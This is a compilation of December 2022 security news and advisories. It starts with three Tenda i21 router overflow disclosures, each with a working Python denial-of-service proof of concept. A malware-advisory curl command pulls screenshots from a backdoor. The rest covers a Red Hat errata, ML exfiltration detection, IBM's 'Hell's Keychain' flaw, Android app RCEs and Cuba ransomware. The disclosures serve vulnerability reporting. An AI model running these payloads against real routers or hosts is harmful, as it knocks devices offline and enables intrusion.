Tenda i21 V1.0.0.14(4656) has a stack overflow vulnerability via /goform/setSysPwd.

Permalink

Cannot retrieve contributors at this time

**Tenda i21 V1.0.0.14(4656) Dos vulnerability****Firmware information**

*   Manufacturer's address：https://www.tenda.com.cn/
    
*   Firmware download address:https://www.tenda.com.cn/download/detail-2982.html
    

**Affected version**

**Vulnerability details**

In /goform/setSysPwd, when action is set to admin, the value of oldPwd will be base64 encoded and then passed to v3, and then v3 will be sent to encode\_pwd by strcpy. It is worth noting that the stack overflow vulnerability is caused by not checking the size.

**Poc**

import socket
import os

li \= lambda x : print('\\x1b\[01;38;5;214m' + x + '\\x1b\[0m')
ll \= lambda x : print('\\x1b\[01;38;5;1m' + x + '\\x1b\[0m')

ip \= '192.168.0.1'
port \= 80

r \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

r.connect((ip, port))

rn \= b'\\r\\n'

p1 \= b'a' \* 0x3000
p2 \= b'action=admin&oldPwd=' + p1

p3 \= b"POST /goform/setSysPwd" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response \= r.recv(4096)
response \= response.decode()
li(response)

You can see the router crash

CVE-2022-44365: CVE-vulns/readme.md at main · Double-q1015/CVE-vulns

Tenda i21 V1.0.0.14(4656) is vulnerable to Buffer Overflow via /goform/setSnmpInfo.

Permalink

**Tenda i21 V1.0.0.14(4656) Stack overflow vulnerability****Firmware information**

*   Manufacturer's address：https://www.tenda.com.cn/
    
*   Firmware download address:https://www.tenda.com.cn/download/detail-2982.html
    

**Affected version**

**Vulnerability details**

In /goform/setSnmpInfo, snmpEn is controlled by the user and will finally be spliced into parm by sprintf. It is worth noting that the stack overflow is caused by not checking the size

**Poc**

import socket
import os

li \= lambda x : print('\\x1b\[01;38;5;214m' + x + '\\x1b\[0m')
ll \= lambda x : print('\\x1b\[01;38;5;1m' + x + '\\x1b\[0m')

ip \= '192.168.0.1'
port \= 80

r \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

r.connect((ip, port))

rn \= b'\\r\\n'

p1 \= b'a' \* 0x3000
p2 \= b'snmpEn=' + p1

p3 \= b"POST /goform/setSnmpInfo" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response \= r.recv(4096)
response \= response.decode()
li(response)

You can see the router crash, and finally we can write an exp to get a root shell

CVE-2022-44363: CVE-vulns/readme.md at main · Double-q1015/CVE-vulns

Tenda i21 V1.0.0.14(4656) is vulnerable to Buffer Overflow via /goform/AddSysLogRule.

Permalink

**Tenda i21 V1.0.0.14(4656) Stack overflow vulnerability****Firmware information**

*   Manufacturer's address：https://www.tenda.com.cn/
    
*   Firmware download address:https://www.tenda.com.cn/download/detail-2982.html
    

**Affected version**

**Vulnerability details**

In /goform/AddSysLogRule, when the input op is add, you can input logip, logport, len, and finally these three will be spliced into mib\_value through sprintf. It is worth noting that these three do not check the size, resulting in stack overflow vulnerability

**Poc**

import socket
import os

li \= lambda x : print('\\x1b\[01;38;5;214m' + x + '\\x1b\[0m')
ll \= lambda x : print('\\x1b\[01;38;5;1m' + x + '\\x1b\[0m')

ip \= '192.168.0.1'
port \= 80

r \= socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

r.connect((ip, port))

rn \= b'\\r\\n'

p1 \= b'a' \* 0x3000
p2 \= b'op=add&logip=' + p1

p3 \= b"POST /goform/AddSysLogRule" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response \= r.recv(4096)
response \= response.decode()
li(response)

You can see the router crash, and finally we can write an exp to get a root shell

CVE-2022-44362: CVE-vulns/readme.md at main · Double-q1015/CVE-vulns

Red Hat Security Advisory 2022-8750-01 - OpenShift Virtualization is Red Hat's virtualization solution designed for Red Hat OpenShift Container Platform. Issues addressed include denial of service and out of bounds read vulnerabilities.

-----BEGIN PGP SIGNED MESSAGE----- 
Hash: SHA256

==================================================================== 
Red Hat Security Advisory

Synopsis: Moderate: OpenShift Virtualization 4.11.1 security and bug fix update 
Advisory ID: RHSA-2022:8750-01 
Product: cnv 
Advisory URL: https://access.redhat.com/errata/RHSA-2022:8750 
Issue date: 2022-12-01 
CVE Names: CVE-2015-20107 CVE-2016-3709 CVE-2020-0256 
 CVE-2020-35525 CVE-2020-35527 CVE-2021-0308 
 CVE-2021-38561 CVE-2022-0391 CVE-2022-0934 
 CVE-2022-1292 CVE-2022-1304 CVE-2022-1586 
 CVE-2022-1785 CVE-2022-1897 CVE-2022-1927 
 CVE-2022-2068 CVE-2022-2097 CVE-2022-2509 
 CVE-2022-3515 CVE-2022-22624 CVE-2022-22628 
 CVE-2022-22629 CVE-2022-22662 CVE-2022-24675 
 CVE-2022-24795 CVE-2022-24921 CVE-2022-25308 
 CVE-2022-25309 CVE-2022-25310 CVE-2022-26700 
 CVE-2022-26709 CVE-2022-26710 CVE-2022-26716 
 CVE-2022-26717 CVE-2022-26719 CVE-2022-27404 
 CVE-2022-27405 CVE-2022-27406 CVE-2022-28327 
 CVE-2022-29154 CVE-2022-30293 CVE-2022-30629 
 CVE-2022-30698 CVE-2022-30699 CVE-2022-32206 
 CVE-2022-32208 CVE-2022-34903 CVE-2022-37434 
 CVE-2022-38177 CVE-2022-38178 CVE-2022-40674 
==================================================================== 
1. Summary:

Red Hat OpenShift Virtualization release 4.11.1 is now available with 
updates to packages and images that fix several bugs and add enhancements.

Red Hat Product Security has rated this update as having a security impact 
of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which 
gives a detailed severity rating, is available for each vulnerability from 
the CVE link(s) in the References section.

2. Description:

OpenShift Virtualization is Red Hat's virtualization solution designed for 
Red Hat OpenShift Container Platform.

Security Fix(es):

* golang: out-of-bounds read in golang.org/x/text/language leads to DoS 
(CVE-2021-38561)

* golang: encoding/pem: fix stack overflow in Decode (CVE-2022-24675)

* golang: regexp: stack exhaustion via a deeply nested expression 
(CVE-2022-24921)

* golang: crypto/elliptic: panic caused by oversized scalar 
(CVE-2022-28327)

* golang: crypto/tls: session tickets lack random ticket_age_add 
(CVE-2022-30629)

For more details about the security issue(s), including the impact, a CVSS 
score, acknowledgments, and other related information, refer to the CVE 
page(s) listed in the References section.

Bug Fix(es):

* Cloning a Block DV to VM with Filesystem with not big enough size comes 
to endless loop - using pvc api (BZ#2033191)

* Restart of VM Pod causes SSH keys to be regenerated within VM 
(BZ#2087177)

* Import gzipped raw file causes image to be downloaded and uncompressed to 
TMPDIR (BZ#2089391)

* [4.11] VM Snapshot Restore hangs indefinitely when backed by a 
snapshotclass (BZ#2098225)

* Fedora version in DataImportCrons is not 'latest' (BZ#2102694)

* [4.11] Cloned VM's snapshot restore fails if the source VM disk is 
deleted (BZ#2109407)

* CNV introduces a compliance check fail in "ocp4-moderate" profile - 
routes-protected-by-tls (BZ#2110562)

* Nightly build: v4.11.0-578: index format was changed in 4.11 to 
file-based instead of sqlite-based (BZ#2112643)

* Unable to start windows VMs on PSI setups (BZ#2115371)

* [4.11.1]virt-launcher cannot be started on OCP 4.12 due to PodSecurity 
restricted:v1.24 (BZ#2128997)

* Mark Windows 11 as TechPreview (BZ#2129013)

* 4.11.1 rpms (BZ#2139453)

This advisory contains the following OpenShift Virtualization 4.11.1 
images.

RHEL-8-CNV-4.11

virt-cdi-operator-container-v4.11.1-5 
virt-cdi-uploadserver-container-v4.11.1-5 
virt-cdi-apiserver-container-v4.11.1-5 
virt-cdi-importer-container-v4.11.1-5 
virt-cdi-controller-container-v4.11.1-5 
virt-cdi-cloner-container-v4.11.1-5 
virt-cdi-uploadproxy-container-v4.11.1-5 
checkup-framework-container-v4.11.1-3 
kubevirt-tekton-tasks-wait-for-vmi-status-container-v4.11.1-7 
kubevirt-tekton-tasks-create-datavolume-container-v4.11.1-7 
kubevirt-template-validator-container-v4.11.1-4 
virt-handler-container-v4.11.1-5 
hostpath-provisioner-operator-container-v4.11.1-4 
virt-api-container-v4.11.1-5 
vm-network-latency-checkup-container-v4.11.1-3 
cluster-network-addons-operator-container-v4.11.1-5 
virtio-win-container-v4.11.1-4 
virt-launcher-container-v4.11.1-5 
ovs-cni-marker-container-v4.11.1-5 
hyperconverged-cluster-webhook-container-v4.11.1-7 
virt-controller-container-v4.11.1-5 
virt-artifacts-server-container-v4.11.1-5 
kubevirt-tekton-tasks-modify-vm-template-container-v4.11.1-7 
kubevirt-tekton-tasks-disk-virt-customize-container-v4.11.1-7 
libguestfs-tools-container-v4.11.1-5 
hostpath-provisioner-container-v4.11.1-4 
kubevirt-tekton-tasks-disk-virt-sysprep-container-v4.11.1-7 
kubevirt-tekton-tasks-copy-template-container-v4.11.1-7 
cnv-containernetworking-plugins-container-v4.11.1-5 
bridge-marker-container-v4.11.1-5 
virt-operator-container-v4.11.1-5 
hostpath-csi-driver-container-v4.11.1-4 
kubevirt-tekton-tasks-create-vm-from-template-container-v4.11.1-7 
kubemacpool-container-v4.11.1-5 
hyperconverged-cluster-operator-container-v4.11.1-7 
kubevirt-ssp-operator-container-v4.11.1-4 
ovs-cni-plugin-container-v4.11.1-5 
kubevirt-tekton-tasks-cleanup-vm-container-v4.11.1-7 
kubevirt-tekton-tasks-operator-container-v4.11.1-2 
cnv-must-gather-container-v4.11.1-8 
kubevirt-console-plugin-container-v4.11.1-9 
hco-bundle-registry-container-v4.11.1-49

3. Solution:

Before applying this update, make sure all previously released errata 
relevant to your system have been applied.

For details on how to apply this update, refer to:

https://access.redhat.com/articles/11258

4. Bugs fixed (https://bugzilla.redhat.com/):

2033191 - Cloning a Block DV to VM with Filesystem with not big enough size comes to endless loop - using pvc api 
2064857 - CVE-2022-24921 golang: regexp: stack exhaustion via a deeply nested expression 
2070772 - When specifying pciAddress for several SR-IOV NIC they are not correctly propagated to libvirt XML 
2077688 - CVE-2022-24675 golang: encoding/pem: fix stack overflow in Decode 
2077689 - CVE-2022-28327 golang: crypto/elliptic: panic caused by oversized scalar 
2087177 - Restart of VM Pod causes SSH keys to be regenerated within VM 
2089391 - Import gzipped raw file causes image to be downloaded and uncompressed to TMPDIR 
2091856 - ?Edit BootSource? action should have more explicit information when disabled 
2092793 - CVE-2022-30629 golang: crypto/tls: session tickets lack random ticket_age_add 
2098225 - [4.11] VM Snapshot Restore hangs indefinitely when backed by a snapshotclass 
2100495 - CVE-2021-38561 golang: out-of-bounds read in golang.org/x/text/language leads to DoS 
2102694 - Fedora version in DataImportCrons is not 'latest' 
2109407 - [4.11] Cloned VM's snapshot restore fails if the source VM disk is deleted 
2110562 - CNV introduces a compliance check fail in "ocp4-moderate" profile - routes-protected-by-tls 
2112643 - Nightly build: v4.11.0-578: index format was changed in 4.11 to file-based instead of sqlite-based 
2115371 - Unable to start windows VMs on PSI setups 
2119613 - GiB changes to B in Template's Edit boot source reference modal 
2128554 - The storageclass of VM disk is different from quick created and customize created after changed the default storageclass 
2128872 - [4.11]Can't restore cloned VM 
2128997 - [4.11.1]virt-launcher cannot be started on OCP 4.12 due to PodSecurity restricted:v1.24 
2129013 - Mark Windows 11 as TechPreview 
2129235 - [RFE] Add "Copy SSH command" to VM action list 
2134668 - Cannot edit ssh even vm is stopped 
2139453 - 4.11.1 rpms

5. References:

https://access.redhat.com/security/cve/CVE-2015-20107 
https://access.redhat.com/security/cve/CVE-2016-3709 
https://access.redhat.com/security/cve/CVE-2020-0256 
https://access.redhat.com/security/cve/CVE-2020-35525 
https://access.redhat.com/security/cve/CVE-2020-35527 
https://access.redhat.com/security/cve/CVE-2021-0308 
https://access.redhat.com/security/cve/CVE-2021-38561 
https://access.redhat.com/security/cve/CVE-2022-0391 
https://access.redhat.com/security/cve/CVE-2022-0934 
https://access.redhat.com/security/cve/CVE-2022-1292 
https://access.redhat.com/security/cve/CVE-2022-1304 
https://access.redhat.com/security/cve/CVE-2022-1586 
https://access.redhat.com/security/cve/CVE-2022-1785 
https://access.redhat.com/security/cve/CVE-2022-1897 
https://access.redhat.com/security/cve/CVE-2022-1927 
https://access.redhat.com/security/cve/CVE-2022-2068 
https://access.redhat.com/security/cve/CVE-2022-2097 
https://access.redhat.com/security/cve/CVE-2022-2509 
https://access.redhat.com/security/cve/CVE-2022-3515 
https://access.redhat.com/security/cve/CVE-2022-22624 
https://access.redhat.com/security/cve/CVE-2022-22628 
https://access.redhat.com/security/cve/CVE-2022-22629 
https://access.redhat.com/security/cve/CVE-2022-22662 
https://access.redhat.com/security/cve/CVE-2022-24675 
https://access.redhat.com/security/cve/CVE-2022-24795 
https://access.redhat.com/security/cve/CVE-2022-24921 
https://access.redhat.com/security/cve/CVE-2022-25308 
https://access.redhat.com/security/cve/CVE-2022-25309 
https://access.redhat.com/security/cve/CVE-2022-25310 
https://access.redhat.com/security/cve/CVE-2022-26700 
https://access.redhat.com/security/cve/CVE-2022-26709 
https://access.redhat.com/security/cve/CVE-2022-26710 
https://access.redhat.com/security/cve/CVE-2022-26716 
https://access.redhat.com/security/cve/CVE-2022-26717 
https://access.redhat.com/security/cve/CVE-2022-26719 
https://access.redhat.com/security/cve/CVE-2022-27404 
https://access.redhat.com/security/cve/CVE-2022-27405 
https://access.redhat.com/security/cve/CVE-2022-27406 
https://access.redhat.com/security/cve/CVE-2022-28327 
https://access.redhat.com/security/cve/CVE-2022-29154 
https://access.redhat.com/security/cve/CVE-2022-30293 
https://access.redhat.com/security/cve/CVE-2022-30629 
https://access.redhat.com/security/cve/CVE-2022-30698 
https://access.redhat.com/security/cve/CVE-2022-30699 
https://access.redhat.com/security/cve/CVE-2022-32206 
https://access.redhat.com/security/cve/CVE-2022-32208 
https://access.redhat.com/security/cve/CVE-2022-34903 
https://access.redhat.com/security/cve/CVE-2022-37434 
https://access.redhat.com/security/cve/CVE-2022-38177 
https://access.redhat.com/security/cve/CVE-2022-38178 
https://access.redhat.com/security/cve/CVE-2022-40674 
https://access.redhat.com/security/updates/classification/#moderate

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact 
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc. 
-----BEGIN PGP SIGNATURE----- 
Version: GnuPG v1

iQIVAwUBY4lNCdzjgjWX9erEAQhXxhAAjaag4e7jIpQLpc0kJhc/hn59M4UIxn8v 
a1L+lD58IrBfY3KAtSAK0t3ei92Lyf8LCJqm027yGlIskeCV91vkO9ZpJhPfRasU 
u1a8Uhd/5F6caB0xUPX26vyCyksalw17CNmLWh5wd2izhkOGctkgVD7LhsVzXbFh 
tIomeVp/hVwW9ILX03ijss27E6m2ZUczgWmuNpviqW8WRFMUw3ZM+1MxnSDHxURe 
H28dsj2l7nrshdBGrZeuj2HBoA0/x3Vsc2jiXfP8nt7LcQ/pb1DN4MYo6lAAEVkC 
O2LlzTAzw/3MAGofaRinyHZD2aoqicPqooUIQglBbF6cvYAUrMtxRCwKcZOckE3d 
F2exKjihBY3JeLlsjpWXBe0yAhdwse7j0oovNL2uQH1imUr7Y1pXVlJqeDzHkzME 
MIRKzuuTGJe1D9Av4S8R+W5eT7iXBAH7x9Lia1NFxeflemVQbyr8ayEMLcmiDuyj 
xMKYFFpW9GmplZlCnDaG5lxKu8ZbOkRzanaLeLn+G5j1+1w9Y9wGtlXJIHV6gmfC 
Wk33MBCpqCGg1Wz+SlXJCtksnYmvKdzn79b2HInvPJtndDQ/VidcN2MuJfkYe688 
2m3FYMI0ehPummvv3iGXLz5ku6gD6y0qNhNWC6HM+hLNnPvvukXXcFgCyonJuv0I 
AqwDoKa8myM=pIHc 
-----END PGP SIGNATURE----- 
-- 
RHSA-announce mailing list 
RHSA-announce@redhat.com 
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-8750-01

Backdoor.Win32.Delf.gj malware suffers from an information leakage vulnerability.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022Original source: https://malvuln.com/advisory/8872c2ec49ff3382240762a029631684.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnBackup media: infosec.exchange/@malvulnThreat: Backdoor.Win32.Delf.gjVulnerability: Information DisclosureDescription: The malware listens on TCP port 80. Third-party adversaries who can reach an infected system can pass "netscreen.jpg" for the User-agent: header in the HTTP request to download victim machines screen captures.Family: DelfType: PE32MD5: 8872c2ec49ff3382240762a029631684Vuln ID: MVID-2022-0663Disclosure: 12/01/2022Exploit/PoC:curl http://x.x.x.x -H "User-agent: netscreen.jpg" --output screendump.jpg  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100  215k  100  215k    0     0   215k      0  0:00:01 --:--:--  0:00:01 1976kDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.Delf.gj MVID-2022-0663 Information Disclosure

A do-it-yourself machine-learning system helped a French bank detect three types of exfiltration attacks missed by current rules-based systems, attendees will learn at Black Hat Europe.

Using an internally developed machine-learning model trained on log data, the information security team for a French bank found it could detect three new types of data exfiltration that rules-based security appliances did not catch.

Carole Boijaud, a cybersecurity engineer with Credit Agricole Group Infrastructure Platform (CA-GIP), will take the stage at next week's Black Hat Europe 2022 conference to detail the research into the technique, in a session entitled, "Thresholds Are for Old Threats: Demystifying AI and Machine Learning to Enhance SOC Detection." The team took daily summary data from log files, extracted interesting features from the data, and used that to find anomalies in the bank's Web traffic. 

The research focused on how to better detect data exfiltration by attackers, and resulted in identification of attacks that the company's previous system failed to detect, she says.  

"We implemented our own simulation of threats, of what we wanted to see, so we were able to see what could identify in our own traffic," she says. "When we didn't detect \[a specific threat\], we tried to figure out what is different, and we tried to understand what was going on."

As machine learning has become a buzzword in the cybersecurity industry, some companies and academic researchers are still making headway in experimenting with their own data to find threats that might otherwise hide in the noise. Microsoft, for example, used data collected from the telemetry of 400,000 customers to identify specific attack groups and, using those classifications, predict future actions of the attackers. Other firms are using machine-learning techniques, such as genetic algorithms, to help detect accounts on cloud computing platforms that have too many permissions.

There are a variety of benefits from analyzing your own data with a homegrown system, says Boijaud. Security operation centers (SOCs) gain a better understanding of their network traffic and user activity, and security analysts can gain more insight into the threats attacking their systems. While Credit Agricole has its own platform group to manage infrastructure, handle security, and conduct research, even smaller enterprises can benefit from applying machine learning and data analysis, Boijaud says.

"Developing your own model is not that expensive and I'm convinced that everyone can do it," she says. "If you have access to the data, and you have people who know the logs, they can create their own pipeline, at least in the beginning."

**Finding the Right Data Points to Monitor**

The cybersecurity engineering team used a data-analysis technique known as clustering to identify the most important features to track in their analysis. Among the features that were deemed most significant included the popularity of domains, the number of times systems reached out to specific domains, and whether the request used an IP address or a standard domain name.

"Based on the representation of the data and the fact that we have been monitoring the daily behavior of the machines, we have been able to identify those features," says Boijaud. "Machine learning is about mathematics and models, but one of the important facts is how you choose to represent the data and that requires understanding the data and that means we need people, like cybersecurity engineers, who understand this field."

After selecting the features that are most significant in classifications, the team used a technique known as "isolation forest" to find the outliers in the data. The isolation forest algorithm organizes data into several logical trees based on their values, and then analyzes the trees to determine the characteristics of outliers. The approach scales easily to handle a large number of features and is relatively light, processing-wise.

The initial efforts resulted in the model learning to detect three types of exfiltration attacks that the company would not otherwise have detected with existing security appliances. Overall, about half the exfiltration attacks could be detected with a low false-positive rate, Boijaud says.

**Not All Network Anomalies Are Malicious**

The engineers also had to find ways to determine what anomalies indicated malicious attacks and what may be nonhuman — but benign — traffic. Advertising tags and requests sent to third-party tracking servers were also caught by the system, as they tend to match the definitions of anomalies, but could be filtered out of the final results.

Automating the initial analysis of security events can help companies more quickly triage and identify potential attacks. By doing the research themselves, security teams gain additional insight into their data and can more easily determine what is an attack and what may be benign, Boijaud says.

CCA-GIP plans to expand the analysis approach to use cases beyond detecting exfiltration using Web attacks, she says.

SOC Turns to Homegrown Machine Learning to Catch Cyber-Intruders

IBM has fixed a high-severity security vulnerability affecting its Cloud Databases (ICD) for PostgreSQL product that could be potentially exploited to tamper with internal repositories and run unauthorized code.
The privilege escalation flaw (CVSS score: 8.8), dubbed "Hell's Keychain" by cloud security firm Wiz, has been described as a "first-of-its-kind supply-chain attack vector impacting a

Kubernetes / Cloud Security

IBM has fixed a high-severity security vulnerability affecting its Cloud Databases (ICD) for PostgreSQL product that could be potentially exploited to tamper with internal repositories and run unauthorized code.

The privilege escalation flaw (CVSS score: 8.8), dubbed "**Hell's Keychain**" by cloud security firm Wiz, has been described as a "first-of-its-kind supply-chain attack vector impacting a cloud provider's infrastructure."

Successful exploitation of the bug could enable a malicious actor to remotely execute code in customers' environments and even read or modify data stored in the PostgreSQL database.

"The vulnerability consists of a chain of three exposed secrets (Kubernetes service account token, private container registry password, CI/CD server credentials) coupled with overly permissive network access to internal build servers," Wiz researchers Ronen Shustin and Shir Tamari said.

Hell's Keychain commences with an SQL injection flaw in ICD that grants an attacker superuser (aka "ibm") privileges, which is then used to execute arbitrary commands on the underlying virtual machine hosting the database instance.

This capability is weaponized to access a Kubernetes API token file, allowing for broader post-exploitation efforts that involve pulling container images from IBM's private container registry, which stores images related to ICD for PostgreSQL, and scanning those images for additional secrets.

"Container images typically hold proprietary source code and binary artifacts that are the company's intellectual property," the researchers explained. "They can also contain information that an attacker could leverage to find additional vulnerabilities and perform lateral movement within the service's internal environment."

Wiz said it was able to extract internal artifact repository and FTP credentials from the image manifest files, effectively permitting unfettered read-write access to trusted repositories and IBM build servers.

An attack of this kind could have severe ramifications, as it enables the adversary to overwrite arbitrary files that are used in the build process of the PostgreSQL image, which would then be installed on every database instance.

The American technology giant, in an independent advisory, said that all IBM Cloud Databases for PostgreSQL instances were potentially impacted by the bug, but noted that it found no evidence of malicious activity.

It further stated that the fixes have been automatically applied to customer instances and that no further action is required. The mitigations were rolled out on August 22 and September 3, 2022.

"These vulnerabilities could have been exploited by a malicious actor as part of an extensive exploit chain culminating in a supply-chain attack on the platform," the researchers said.

To mitigate such threats, it's recommended that organizations monitor their cloud environments for scattered credentials, enforce network controls to prevent access to production servers, and safeguard against container registry scraping.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Researchers Disclose Supply-Chain Flaw Affecting IBM Cloud Databases for PostgreSQL

Categories: News
Tags: CVE

Tags:  android

Tags:  apps

Tags:  abandonware

Tags:  vulnerability

Tags:  bug

Tags:  telepad

Tags:  pc keyboard

Tags:  lazy mouse

Three abandoned Android apps with remote code execution vulnerabilities need to be shown the door.



(Read more...)




The post Time to uninstall! Abandoned Android apps pack a vulnerability punch appeared first on Malwarebytes Labs.

Posted: December 2, 2022 by

Synopsis has published an advisory warning of multiple vulnerabilities across three different Android remote mouse and keyboard apps with a combined install count of about two million. The apps are at risk from remote code execution (RCE), and there’s no sign of a fix coming anytime, ever.

Bleeping Computer notes that the issues were first discovered and reported to the developers in August. The advisory has been published after the developers failed to respond. If you have any of these apps on your mobile device, it’s probably well past the point where you should consider replacing them.

**Which apps are affected?**

The apps impacted by the details in the advisory are as follows:

*   Telepad versions 1.0.7 and prior
*   Lazy Mouse versions 2.0.1 and prior
*   PC Keyboard versions 30 and prior

The three apps are reported to be abandonware, which makes it even more essential to get word out with regard to the security issues at hand. With so many supported apps to choose from, there really is no need to stick to apps like these which are easily replaceable. It’s worth noting that these apps aren’t just available on Google Play.

Searching for them reveals multiple download locations elsewhere. If you find "updated" versions of the software elsewhere, do not install them. Criminals often disguise their malware as apps that are popular on Google Play and spread them on third-party markets. Having an app with a known RCE vulnerability is bad. Swapping it for one that has a known RCE vulnerability and may also contain malware is worse.

**A list of CVE problems**

There are seven Common Vulnerabilities and Exposures (CVEs) listed, with four of them racking up a 9.8 severity rating. The four big hitters listed by Synopsis are as follows:

**CVE-2022-45477**

Telepad allows remote unauthenticated users to send instructions to the server to execute arbitrary code without any previous authorization or authentication.

**CVE-2022-45479**

PC Keyboard allows remote unauthenticated users to send instructions to the server to execute arbitrary code without any previous authorization or authentication.

**CVE-2022-45481**

The default configuration of Lazy Mouse does not require a password, allowing remote unauthenticated users to execute arbitrary code with no prior authorization or authentication.

**CVE-2022-45482**

The Lazy Mouse server enforces weak password requirements and doesn’t implement rate limiting, allowing remote unauthenticated users to easily and quickly brute force the PIN and execute arbitrary commands.

The other three are **CVE-2022-45478**, **CVE-2022-45480**, and **CVE-2022-45483** respectively, which all involve machine-in-the-middle attacks and reading all keypresses in cleartext.

**What’s the fix for this?**

As noted above, there isn’t one other than deleting the applications. Despite initial outreach to the developers on August 13, further attempts at communication a few days later, and then one last attempt on October 12, no response was forthcoming.

The developers may no longer be taking an interest, but we strongly advise users to do so and make the right decision for their devices.

Stay safe out there!

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

**RELATED ARTICLES**

Time to uninstall! Abandoned Android apps pack a vulnerability punch

Categories: News
Categories: Ransomware
Tags: Cuba ransomware

Tags:  ransomware

Tags:  double extortion

Tags:  Cybersecurity Advisory

Tags:  CSA

Tags:  CISA

Tags:  FBI

Cuba ransomware is spotlighted in a recent cybersecurity advisory (CSA) in the ongoing #StopRansomware campaign spearheaded by CISA and the FBI.



(Read more...)




The post CISA and the FBI issue alert about Cuba ransomware appeared first on Malwarebytes Labs.

In the latest #StopRansomware effort of publicizing ransomware information for network defenders, the Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have issued a joint Cybersecurity Advisory (CSA) on the ransomware known as "Cuba." Though named "Cuba," the ransomware and its operators have no known link to the country. The recent advisory is reportedly an update from an FBI Flash notice on December 2021. As such, updated tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) are included in this advisory.

Since the aforementioned FBI Flash notice, CISA and the FBI have noted that US-based organizations victimized by Cuba ransomware have doubled. Third-party and open-source reports have also discovered a possible connection between Cuba ransomware actors, RomCom RAT (remote access Trojan) actors, and Industrial Spy ransomware actors. 

**Cuba ransomware 101**

Despite its name, threat actors behind Cuba ransomware haven't indicated a connection or affiliation with the Republic of Cuba.

Cuba ransomware is a Windows malware written in C++ that surfaced in late 2019. Like other ransomware groups, its threat actors use double extortion tactics, predominantly targeting organizations in the US in five critical infrastructure sectors: critical manufacturing, financial services, government facilities, healthcare and public health, and information technology. All stolen sensitive information is posted to their leak site, accessible only via Tor, the online tool that allows for anonymous browsing and internet connections.

Overview of Cuba ransomware’s leak page, ransom note, and a trove of encrypted files.  
(Source: Malwarebytes Threat Intelligence Team)

This ransomware arrives on target networks via spam campaigns, meaning emails are sent out to organizations with no particular target. In more recent campaigns, the Cuba ransomware has been seen being dropped by the malware downloader Hancitor (also known as Chancitor).

The spam email contains a download link where a Word document with malicious macros can be downloaded and opened. If users enable the macro when prompted, this document extracts and executes Hancitor. This malware then communicates with its command-and-control (C2) server to download several tools, facilitate lateral movement, and extract data.

It then drops and installs Cuba ransomware using PowerShell or PsExec.

Cuba ransomware has already been involved in several noteworthy attacks. In February 2021, it hit the widely used payment processor Automatic Funds Transfer Services (AFTS), affecting cities and agencies in Washington and California. In October 2022, Cuba ransomware threat actors impersonated the press office of the General Staff of the Armed Forces of Ukraine in a phishing campaign. According to Profero, a company specializing in rapid incident response involved in negotiations between Cuba ransomware victims and attackers, the threat actors speak Russian.

**Mitigating Cuba ransomware attacks**

CISA and the FBI issued mitigations for network defenders to follow to reduce attack risks from Cuba ransomware. Some of these are as follows:

*   Create and implement a recovery plan (if you don’t have one yet) to maintain and retain copies of pertinent and proprietary data.
*   All accounts that use passwords must at least comply with National Institute for Standards and Technology (NIST) standards.
